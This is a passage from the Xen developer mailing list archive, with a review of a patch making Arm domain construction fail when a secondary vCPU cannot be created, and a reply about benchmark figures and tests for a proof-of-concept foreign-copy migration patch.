X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=KnZOiM5R5ePUymWNzTDfuJoigw+Uyijl0aQ8kBh0gwHnqBzfRoD80Bybg6Ykl8d5Qodow07ob1ASHZDz8iQBkVkNzlqWGn32HZLekgE2bey+cP2x0xYCSECxHAHbw728A/IbGYkbvEU5AHu8NB26Ate738N33jO+QIHUPnah5JGRSNZ6T8sAb+LrZQlILFdQrxhq0ocypUHHsVOJmSvFn0wCv1IHEMGGW3bpDxxchRSNJSVOwUHUZEMe87iLTrs+r/PNPkgUnTB8Anb3+T9Z+EsUgdWpv90dny6OjWsnH4KyR16vc+XDPDhjYzJ4b78KYqyik+L1L2lGBi+0aspNhQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=ylED/Exol/IBw523L6L6OHOZUTVW6ahlDtVbvIGmfgY=;
 b=JtZWcWeQ9GX0lAqrE2UdfQO+g7w358OI20+Hx+DfuLLvtR65iDc3WWdMRZAicPWbKThmiRcT21pzcZuf5hzvEb8ysFocIfWoe6AFtHvRWbw0P66yU+YMo4eVw6cjgRNHSQickYv/x3MdE+N9fMtXQcfb6QWjgBPUKjqEL1y4HWgY8QYCGu3U30YYw3crOa5nWbxe9084M5G8AgogEO8spkLlmqSCVPcBIvT+xy0YMG7KZblchhnAzgKmZC1HfG63E9FRFTxl99coMV7hjaGparFoVysg7kM1r1jU/hCUfdtQTHI/n47L5pcG/m/Evy34AooIR8KEkLw7lBMRqzUn6A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=ylED/Exol/IBw523L6L6OHOZUTVW6ahlDtVbvIGmfgY=;
 b=V/RTILPWzJWZoI4Q6wD8FF4q+XKSEFmP/eS+vv6DwPgKpyKn9l63lmVMprgr0DkenLDUXe1gJZh7Uen+Z3K5pBtpZc9Cug1r4Uy7TsXtDLdSkCTKXvfsMnJUFbh1nBLtcjuhvHxjkGbxY08PuYZRKuv5D+wH9ad+6bm1JXLbcm0=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <aab9fd35-6230-474c-8848-480c8cccc43c@amd.com>
Date: Thu, 9 Jul 2026 10:32:41 +0100
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [for-4.22][PATCH v2] xen/arm: Fail domain construction if a
 secondary vCPU cannot be created
To: Michal Orzel <michal.orzel@amd.com>, <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>, <ayan.kumar.halder@amd.com>, "Oleksii
 Kurochko" <oleksii.kurochko@gmail.com>
References: <20260709063643.11800-1-michal.orzel@amd.com>
Content-Language: en-US
From: "Halder, Ayan Kumar" <ayankuma@amd.com>
In-Reply-To: <20260709063643.11800-1-michal.orzel@amd.com>
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BN3PEPF0000B36D:EE_|SJ0PR12MB6944:EE_
X-MS-Office365-Filtering-Correlation-Id: b4091beb-38b1-4a73-fb13-08dedd9d07a7
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|1800799024|376014|82310400026|23010399003|6133799003|18002099003|22082099003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info:
	dAWxwwUmFrebpN6NC1RkAdmthxDG4DTTndkrNVtMJM/ov+0F/hRzLy2i5WIGdxQgvMzTmnzacJU6XKXCj9SKpOcFyKVj+WWehoT8M9I0qfOg9EMmS23mxCBWtrvpmvbUol1AKYpRPVJLxtX8iADsWzDBXNWPqSjbOfmlsw84hWOD7x1921TIActpFhuwDbTwpmWai+yxVo6p+XltYU3aQfAkF9IgGsSOEY/ifcWVpDfYHwq+mjsX+u7erHYV1Z5/ETsOTpbZKmA7fRbaBhhqzLiwY9USAqJ6PWa6SeItlI+ZrUR0I/r4VS7e99+Q83GO52ShDxc9SwtUdUNf7uzxD62U2S1DXxEFORrMt0BAmvejOQnGUxkXIuYz3s07ggP2HvgcYGRANjs3t5cqBNnUmEvmuo4VAlt9IlOnLlde5rilKChEEZlzzYDbYusG4K/s9NCtYHVHZ3uGKwEL23otQuXSjF41NFKOkv0YRyBbzW/vv+dtBr2PqAnTBnFZVIkZct/g74e/wvCDUjdQurDNAQL/E12Dfxrkxef8Q7NNj1VPx0xK0sfbwK3wSJbjhaAUepOhZeRiiro8kzG62HDSMIOFk0UjiJUZ01IP2QqWL5A4iAUzwZDN38+AAohNDctnwxgGHjN+76Bo9kBw8vHQbCoDx8wvYsYqEtCKggHPbzBcWyVEed+xm8ZwFYHRehtb4Ibg/QuPPPHQe2VCjI6pEw==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(36860700016)(1800799024)(376014)(82310400026)(23010399003)(6133799003)(18002099003)(22082099003)(11063799006)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	zGlCU8fw2p9VO3PQxLtzwAgvFt5g1PePRvx2cqRSXJl8jhZyiJjLiloaU2HArdB4anmzOSu3P5O0XMQfnqvfMxv5FbjAKTWLooxyQoUhyXfukq1SpMTUFzFI69/hd8EYmbASuEosXRpC5RXOaLn6lBJgw+uSpnsV6Y39QHHWoqjw6hrD5bmKzyyuiK3HoM0A2i4FOko9xKfQ5gPaXUR9tf+5JhkzswkfSsRpYaC9brwWDFTC28uucfqF631V9lC2d9jLDf7JiMDwS5Oe67MLnJHwshum4KlwLgOACs5pb+a5CVKZeqi9htzaCO6B1XOdtm8RkXmzdQ11K/xRY37FRzApXNClB9YunQQ0AR4Lo1zegn1sYbMr3b2/CKBrk0CWOkFqKqJQ4BsBT2058apg414gipFNEpN9BMd4uOd/t15hHxVkKW7QvqVIgb2N651+
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 09:32:44.0841
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: b4091beb-38b1-4a73-fb13-08dedd9d07a7
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BN3PEPF0000B36D.namprd21.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ0PR12MB6944
X-purgate-ID: tlsNG-16d1c6/1783589571-4312768D-FEC59897/0/0
X-purgate-type: clean
X-purgate-size: 2722


On 09/07/2026 07:36, Michal Orzel wrote:
> construct_domain() creates the secondary vCPUs in a loop, but on a
> vcpu_create() failure it only prints a message and breaks out of the
> loop returning success. As a result the domain can be partially
> constructed with fewer vCPUs than d->max_vcpus. This causes two contract
> violations:
>   - Xen-Guest: domain's FDT is generated before vCPU creation - Xen exposes
>     incorrect information (e.g. two vCPUs listed in a device tree while only
>     one is actually created),
>   - User-Xen: unlike x86, on Arm port we try to bail out as soon as
>     possible on unsatisfied user requests (e.g. user requested two vCPUs
>     for a domain but it was created with only one).

Unrelated, but just to add my 2 cents wearing a safety hat.

The user-xen contract comes from a system integrator. Xen should try to 
follow the contract and if not panic or bail out.

The Xen-guest contract can be used to enforce the rule that guest should 
read the contract before doing any safety critical task.

The most important thing is anything errors that are internal to Xen, 
should be propagated to the external world (either as panic or return an 
error to the guest or abort the guest). If there is a degradation is 
functionality (eg Xen creating a guest with lesser number of vCPUS that 
what the system integrator provided), then this is safety issue unless 
we put an assumption on guest to read its device tree and know the final 
configuration (which may not be always ok).

>
> Return an error instead of breaking out of the loop. Both callers
> (construct_domU() and construct_hwdom()) already propagate a negative
> return value and fail domain construction.
>
> Fixes: 6b0e8e43348a ("xen/arm: allocate secondaries dom0 vcpus")
> Signed-off-by: Michal Orzel <michal.orzel@amd.com>
Reviewed-by: Ayan Kumar Halder <ayan.kumar.halder@amd.com>
> ---
> Changes in v2:
>   - return ENOMEM as allocation failure is most frequent cause of failure
>   - update commit msg to focus on unmet contracts
> ---
>   xen/arch/arm/domain_build.c | 2 +-
>   1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/xen/arch/arm/domain_build.c b/xen/arch/arm/domain_build.c
> index 550617f152bb..72d531618045 100644
> --- a/xen/arch/arm/domain_build.c
> +++ b/xen/arch/arm/domain_build.c
> @@ -1847,7 +1847,7 @@ int __init construct_domain(struct domain *d, struct kernel_info *kinfo)
>           if ( vcpu_create(d, i) == NULL )
>           {
>               printk("Failed to allocate d%dv%d\n", d->domain_id, i);
> -            break;
> +            return -ENOMEM;
>           }
>   
>           if ( is_64bit_domain(d) )


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 09:35:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 09:35:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357716.1612058 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlAh-00017z-5P; Thu, 09 Jul 2026 09:35:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357716.1612058; Thu, 09 Jul 2026 09:35:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlAh-00017s-22; Thu, 09 Jul 2026 09:35:55 +0000
Received: by outflank-mailman (input) for mailman id 1357716;
 Thu, 09 Jul 2026 09:35:53 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1whlAf-00017l-1Z
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:35:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whlAe-002aTK-6m
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:35:52 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f6b6f-e002-0a2a0a5209dd-0a2a4503aa16-22
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:35:52 +0200
Received: from [74.125.224.41] (helo=mail-yx1-f41.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f6b77-ec1a-0a2a45030019-4a7de029c4a2-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:35:52 +0200
Received: by mail-yx1-f41.google.com with SMTP id
 956f58d0204a3-664db84f074so2027877d50.0
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 02:35:51 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1783589750; cv=none;
        d=google.com; s=arc-20260327;
        b=VUIfX9mPSAOhWIsiMh8RAhNwZi4r4B7atIOmlatwtMzm3pxTINUEdRhajuG+/z9tUp
         RYMI93WQBox2eO1flU/oqpT9lMgoqqYPRoF27wdtTSQgsjrFk9f+7q4gGsVkF71rpRD1
         xBGw4fz6OPL2yPRygBZAnaOs3o3/yTxbrSJefuLtp8155viq555QErxTEwf5VW1ACK8R
         N2gGwiLrKebuydrwk+Qq9hcAR61oxBit64hLHBlNx+cBfrDxXRk6VRrAT+WQsRlRLC3B
         Q6QnYFhm4VbmK6DxJStXObXKE5W512LBcWWMK6zNBUiAsXxbaWb4cW0Za7FzcWXaZH5O
         y8Sg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=lqPoy7n3B/2r5nuw2Q1yV+Dn/OHkHAArlO16MqDXa6E=;
        fh=/xIDEt21AoDgIoFrvXO7IQvdlvHF73QaNWBe25gcoZE=;
        b=XkE5NZuQSdgZ3TcfZojMIiuAD9A1wFOSqd2vy/zAm1p9wLAdrbg45NNgMd0DIbF+/G
         g01I8daOw0hZS/HGymUpwCv2P51O9winRD9u7X/cfNWtlZp/HHbsZuf+RNRK44FcGKU7
         U96KTt1i0LIFVgXIyyXmSVPSUReA7/IiGoxqcWByKZuiFEqdBOSwE9m9XLuROjCXrrZZ
         mwzeI1fSSomovmXbxi1BBnfF/ge8pjNFtOwEZKNapsbFzwVNF0SfqUhhM/EmQ7SAhqK6
         POPpQckfIAVRY8GXTu3JG+aisJxGhwEs9oXjjD9nf+bQAQAFYBvfUl5ySeZF1/qA3WuU
         EXlQ==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783589750; x=1784194550; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=lqPoy7n3B/2r5nuw2Q1yV+Dn/OHkHAArlO16MqDXa6E=;
        b=hTLqCtxSyLwgfglU+VXDV9dlcTyHfc9bE3Et7rFyuFIhbvTN3L5a+rj54fWAeiA5P9
         Z0n0q0lr1+Yy6ID8rCoNMywBSRfy+f+CrTKUZt5u/UVveJK5q5QpxzRZ/OqrDNltZeq8
         WhbKUOry3MwQN3BJeWXBMDz4/XYdJ1eQsNoAIQAzWTM74klikrIhJIcyHMLvj0HQfo9v
         oQk4BI7i81yvy9CdF1607aXUvfcfoX5H6bX8pu+WiW070BzQ/3nYXiG03p9BjLBybIp+
         kD+n+QpCwauO3fuUYdvfx6b7+EjT0iiDcUo9XRCEZvkzQGtXvuAVjH+ZNxr3qPdJGjEm
         9B0g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783589750; x=1784194550;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=lqPoy7n3B/2r5nuw2Q1yV+Dn/OHkHAArlO16MqDXa6E=;
        b=RQtLZlQjlZBXmJxBZIYQorj9q/mWMyRWFaawMckp46NXblEVbj7FcVzeebjom11OdX
         aHka/eXaApaV5brOPO4nu0zlT4iNpTx2S7R00t+a5uQ4EdFoxi8gLZ2Unhhze6NL4eBN
         SxCOScHcxfN3WIPgIhx1pZGOFKY+qu6B2KotvlYMwMdXxehSjxniK28zkblD8eMQvLmr
         IpNpxMqcslA3DJOHCvqlISSYJ7zZil0s85as0zjcfRCZDatTj9xODJ9B09FQ9ASaG6IG
         8jVxgBZX+5EmZWILhfh+T3q92xFJ2vW2pDJlPFkUFgExWQm3yX5AVsCOHHxiH32x5I3r
         NX2w==
X-Gm-Message-State: AOJu0YwI0vwZGwFHUuSGoJ6IyCdWkwsd0E8t8XXtmZblsEhafDbx9Bds
	6KIO7C724oqb5ZyUqhYzYPyWs23klBd8Qbswa086fOSrFJGqrLsayNsEcraNExV2Lh0PXB2nN0l
	CKRHdduTGpa2RuiIrI10S/ksSTKS/y84=
X-Gm-Gg: AfdE7cnEQlDs3SKQKVpys4gqssLjA/h4p/av6+Gpl/kB+U4nUom5Pj28o/FdkqvCq4E
	t+31/ybC18nEP1VeXhib1W6ejnB2txVBPO4eYEN+xcNmV9apbJCuVCpCgg1CTpVWP/+LObFjRXw
	Kylc036o1n6ZxH5eWlwtd8rwVUNk6HQS4hThJ4sf0IgzuFZNWzisbhSmXmrscGepXsUkRe95iCW
	pznbADZTcm4NkbWNkOqd9OIqW8+uOD0rhlhzGQQoa4b5q0bPbkauuQofoG+Y8O2dbhmGCEdOlxz
	5noClD+W9W9AdTSOth7LY4dap2g=
X-Received: by 2002:a05:690e:20d:b0:667:8b91:244b with SMTP id
 956f58d0204a3-6679f2b20ccmr3766830d50.98.1783589750608; Thu, 09 Jul 2026
 02:35:50 -0700 (PDT)
MIME-Version: 1.0
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-12-frediano.ziglio@citrix.com> <1783518933.8631fc262581453bbf619ec5b2062170.19f420331a900080a8@vates.tech>
In-Reply-To: <1783518933.8631fc262581453bbf619ec5b2062170.19f420331a900080a8@vates.tech>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Thu, 9 Jul 2026 10:35:39 +0100
X-Gm-Features: AVVi8CekR3mQV0Nm25bT8MGuWQL9tgplakFi6i-6bmJgF0ekaloybntpx9WRceI
Message-ID: <CAHt6W4dECmk-16oPt2kEr5tp9LPrZzCdAKFr-m6JFaj2FMCViA@mail.gmail.com>
Subject: Re: [PATCH v6 11/16] PoC: libs/guest: use foreign copy during migration
To: Anthony PERARD <anthony.perard@vates.tech>
Cc: xen-devel@lists.xenproject.org, =?UTF-8?B?RWR3aW4gVMO2csO2aw==?= <edwin.torok@citrix.com>, 
	Jan Beulich <jbeulich@suse.com>, Andrew Cooper <andrew.cooper3@citrix.com>, 
	=?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>, 
	Teddy Astie <teddy.astie@vates.tech>, Juergen Gross <jgross@suse.com>, 
	Frediano Ziglio <frediano.ziglio@citrix.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-33051d/1783589752-BD1BE5D1-8884D4A2/0/0
X-purgate-type: clean
X-purgate-size: 1885

On Wed, 8 Jul 2026 at 14:55, Anthony PERARD <anthony.perard@vates.tech> wro=
te:
>
>
> A note about the subject, a "PoC" or Proof-of-concept to me isn't
> a patch that can be accepted, especialy if is a patch to an existing
> library.
>

Yes, mainly it should be merged with the final "finalize PoC".
Still nice for review at the moment.

> On Fri, Jun 19, 2026 at 02:04:56PM +0100, Frediano Ziglio wrote:
> > From: Edwin T=C3=B6r=C3=B6k <edwin.torok@citrix.com>
> >
> > ministat confirms the improvement:
> >
> > ```
> > x baseline
> > + foreigncopy
> >     N           Min           Max        Median           Avg        St=
ddev
> > x  20     1.1306997     1.1447931     1.1356569     1.1365742   0.00324=
2175
> > +  20     0.4311504    0.44180303    0.43616705    0.43600089  0.003109=
4689
> > Difference at 95.0% confidence
> >       -0.700573 +/- 0.00203311
> >       -61.639% +/- 0.133355%
> >       (Student's t, pooled s =3D 0.00317652)
> > ```
>
> There's been some comment about this stat in previous version of the
> series, and the description is still the same. Could you describe how
> the stat have been generated, and what the number mean?
>

We managed to ask the author but got not much clue. Mainly timing.
Probably better to do new statistics.

> Also, what's the different between "baseline" and "foreigncopy". I've
> only had a glimpse at this patch, and it just looks like the code have
> been moved to a different part of the library, with somehow less lines
> of code.
>

"baseline" I suppose without these changes, "foreigncopy" will the changes.

> >
> > The tests pass too, which means that it has correctly migrated all gues=
t
> > memory.
>
> Which tests?
>

Different migrations with multiple OSes and configuration (for
instance PV and not PV, these from me).

> Thanks,
>
>

Frediano


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 09:37:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 09:37:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357723.1612066 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlCF-0001fU-Dn; Thu, 09 Jul 2026 09:37:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357723.1612066; Thu, 09 Jul 2026 09:37:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlCF-0001fL-BG; Thu, 09 Jul 2026 09:37:31 +0000
Received: by outflank-mailman (input) for mailman id 1357723;
 Thu, 09 Jul 2026 09:37:29 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1whlCD-0001ce-NY
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:37:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whlCD-00ELQn-0C
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:37:29 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f6bd4-e002-0a2a0a5209dd-0a2a45019406-14
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:37:28 +0200
Received: from [74.125.224.43] (helo=mail-yx1-f43.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f6bd7-400f-0a2a45010019-4a7de02bf17a-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:37:28 +0200
Received: by mail-yx1-f43.google.com with SMTP id
 956f58d0204a3-664dd23829eso1541310d50.3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 02:37:28 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1783589847; cv=none;
        d=google.com; s=arc-20260327;
        b=qTVTs0LY2BOKiBA+DpmkPqrvp8c/uWnP1ZyA9v2ZSz3kpc5VpHT/TvbkKrbPqg6QqV
         9psJkD52TNkqx/tAnWnOZSEiiG1vAs5a3J4umga48xqRi6fFqHbUpbmaBfp7dGnJXN/l
         Kshyk6kpYqsDOi4rz8j5pYmctG1Et5iNG+dc0Dpepe917OAwu3PBeNf3xxXhM3D0aWel
         f3QNnxCzZzWRJIPSn9JgxRqdcxLvRYEwOiURCbW9Ng1MiZaDPCopnQDV1OAdpUxeOubK
         eNRX7xH354tTjc3fcYiDjit45pfEOiLuYs9KeqN7TcQAFLsukHjHSBidaTgzCI9hUcJj
         NZjA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=cc:to:subject:message-id:date:from:in-reply-to:references
         :mime-version:dkim-signature;
        bh=30jgUe5zJKxXDZIxdybxxZTE0JIc8ztpbZM6GTUTIQ8=;
        fh=aU3/UpxH5Blg8M5NzH55q/XY8irYVWQMVJdPeFRWhhg=;
        b=K4eE+h6C7Z4uHl39stvRoXBn7QMHbnjEd7jyli29rqC0luVrl1xXWeLf59y+vVA6cx
         xoxhKkE26yVMCz6D/TiYf1KKlNeXrqZjMlezEoVunDvVp9yCXwO4dCTJJ09pzIT7Efi7
         EVd/BFQ234Dw8tmtEFkpHBJCw17u0Ddhl3i5MTBSbYsJGLJQ16xHvgdSG2h5lMSHySrX
         Jgnl7TExGjvW5HS7yQcOCmpcYNIOTIgNPB8gQaGP+TK0fZtXap/VUJMCc0pvRSWFGbs2
         6oAQKFAT/7rAr+ml0xDnWy+6sgefyo6l0BeAD2Y0volb2c9/3mH+XFpfXnLrE5nMqyv5
         pE8A==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783589847; x=1784194647; darn=lists.xenproject.org;
        h=content-type:cc:to:subject:message-id:date:from:in-reply-to
         :references:mime-version:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=30jgUe5zJKxXDZIxdybxxZTE0JIc8ztpbZM6GTUTIQ8=;
        b=l2Xj+up/IUBjw0ElyOulfUt9BbcZn2AA+8ciVNPQD3OfPS4Stj8nY6Fz5vPKh4XVXc
         YczGMnNcEqDWXhbq1niIUv68esgN8K/MCTnx2HNeEhlHlX48YgC+4xVMvYjAs6kWHvXV
         aKDKi79yineQoVUEA8bEw0OD0HlRhbt7JQQ0Ickhs0d3LBUoZPcGDZRuAnmo7dPj56NY
         oaPORtBxsYt10k3PfdDiebihAP1oRsLwb/URYcYzofc/N6BqyeLjaC+2ktnK9q/bnkmO
         JFzRl8QQg8lNLgfxEq0jM7h6ZRFii+3Hb05lv9O09LuSGpKA0iAg10otWNkCjTmQ98xP
         /ZvQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783589847; x=1784194647;
        h=content-type:cc:to:subject:message-id:date:from:in-reply-to
         :references:mime-version:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=30jgUe5zJKxXDZIxdybxxZTE0JIc8ztpbZM6GTUTIQ8=;
        b=mnQr6+c99Wc2bnBHWanSMsE/4pcJqM0WrVW6IeLp+fqHc1wfEf3UtTM597WSGnywzw
         5lKW3kjC4VVWRuIfm2P9/UzS1N+U7Zsp2OY/rCVPahZ98P1R3dWm+bh7iY68VT5jbec+
         LDwgPOPdeVxokY26qLzN+mbockT9Ta3c+GxUGNW7sry9aaO29mextgTsgqu+iV7Lo8qO
         J/yydv2cpIgVBPTH/KWice6j/OK3h4QLWcmpBGwLPuOAlF04X8iIX4FlYKtrzyJpHwPw
